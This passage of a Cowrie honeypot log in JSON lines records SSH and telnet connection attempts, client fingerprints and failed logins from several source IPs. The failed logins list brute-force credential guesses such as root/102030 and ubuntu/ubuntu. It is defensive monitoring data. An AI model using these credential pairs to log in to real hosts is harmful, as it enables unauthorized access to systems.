16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:43.201921Z","src_ip":"45.156.87.69","session":"726a560d8014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sina","password":"sina","message":"login attempt [sina/sina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:43.710735Z","src_ip":"45.156.87.69","session":"726a560d8014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:44.890962Z","src_ip":"45.156.87.69","session":"726a560d8014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63606,"dst_ip":"159.203.135.109","dst_port":22,"session":"1996a3eedff0","protocol":"ssh","message":"New connection: 45.156.87.69:63606 (159.203.135.109:22) [session: 1996a3eedff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.708061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.722087Z","src_ip":"45.156.87.69","session":"1996a3eedff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.809384Z","src_ip":"45.156.87.69","session":"1996a3eedff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49762,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4a90f10be8","protocol":"ssh","message":"New connection: 193.32.162.145:49762 (10.17.0.5:22) [session: af4a90f10be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.857152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.861850Z","src_ip":"193.32.162.145","session":"af4a90f10be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:46.967033Z","src_ip":"193.32.162.145","session":"af4a90f10be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"123456","message":"login attempt [zookeeper/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:47.301589Z","src_ip":"45.156.87.69","session":"1996a3eedff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:47.401849Z","src_ip":"193.32.162.145","session":"af4a90f10be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:48.391454Z","src_ip":"45.156.87.69","session":"1996a3eedff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:48.514675Z","src_ip":"193.32.162.145","session":"af4a90f10be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63618,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a99bb92cc3","protocol":"ssh","message":"New connection: 45.156.87.69:63618 (159.203.135.109:22) [session: d1a99bb92cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:50.467613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:50.473272Z","src_ip":"45.156.87.69","session":"d1a99bb92cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:50.822939Z","src_ip":"45.156.87.69","session":"d1a99bb92cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06886649131775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:51.452434Z","src_ip":"152.42.224.71","session":"a3e01efd1bd3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:51.465498Z","src_ip":"45.156.87.69","session":"d1a99bb92cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:52.604811Z","src_ip":"45.156.87.69","session":"d1a99bb92cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8426d55d6d1","protocol":"ssh","message":"New connection: 45.156.87.69:63624 (159.203.135.109:22) [session: c8426d55d6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:54.308071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:54.383464Z","src_ip":"45.156.87.69","session":"c8426d55d6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:54.493840Z","src_ip":"45.156.87.69","session":"c8426d55d6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"1234","message":"login attempt [andrew/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:55.178784Z","src_ip":"45.156.87.69","session":"c8426d55d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.21726751327515,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:55.197741Z","src_ip":"152.42.224.71","session":"6a527395290b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:56.382266Z","src_ip":"45.156.87.69","session":"c8426d55d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16446,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ad10712159","protocol":"ssh","message":"New connection: 45.156.87.69:16446 (159.203.135.109:22) [session: e2ad10712159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:58.349289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:58.354256Z","src_ip":"45.156.87.69","session":"e2ad10712159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:58.448660Z","src_ip":"45.156.87.69","session":"e2ad10712159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude2026","message":"login attempt [claude/claude2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:58.736946Z","src_ip":"45.156.87.69","session":"e2ad10712159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:59.919533Z","src_ip":"45.156.87.69","session":"e2ad10712159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16466,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f935b1153c","protocol":"ssh","message":"New connection: 45.156.87.69:16466 (159.203.135.109:22) [session: 77f935b1153c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:02.123262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:02.129575Z","src_ip":"45.156.87.69","session":"77f935b1153c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:02.238110Z","src_ip":"45.156.87.69","session":"77f935b1153c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2inst1","password":"db2inst1","message":"login attempt [db2inst1/db2inst1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:02.621823Z","src_ip":"45.156.87.69","session":"77f935b1153c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:03.708280Z","src_ip":"45.156.87.69","session":"77f935b1153c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.41197967529297,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:04.275237Z","src_ip":"152.42.224.71","session":"b51339dc5edc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":33161,"dst_ip":"159.203.135.109","dst_port":23,"session":"6074680b7581","protocol":"telnet","message":"New connection: 186.193.55.224:33161 (159.203.135.109:23) [session: 6074680b7581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:04.619010Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":45962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f466181e9b3a","protocol":"telnet","message":"New connection: 186.193.55.224:45962 (159.203.135.109:23) [session: f466181e9b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:05.015030Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16482,"dst_ip":"159.203.135.109","dst_port":22,"session":"edac2b82d0a8","protocol":"ssh","message":"New connection: 45.156.87.69:16482 (159.203.135.109:22) [session: edac2b82d0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:05.876680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:05.891460Z","src_ip":"45.156.87.69","session":"edac2b82d0a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:06.021509Z","src_ip":"45.156.87.69","session":"edac2b82d0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:06.860277Z","src_ip":"45.156.87.69","session":"edac2b82d0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:08.161089Z","src_ip":"45.156.87.69","session":"edac2b82d0a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":46658,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bbe326c5cdd","protocol":"ssh","message":"New connection: 50.7.136.106:46658 (10.17.0.5:22) [session: 7bbe326c5cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:08.321210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:08.326202Z","src_ip":"50.7.136.106","session":"7bbe326c5cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":[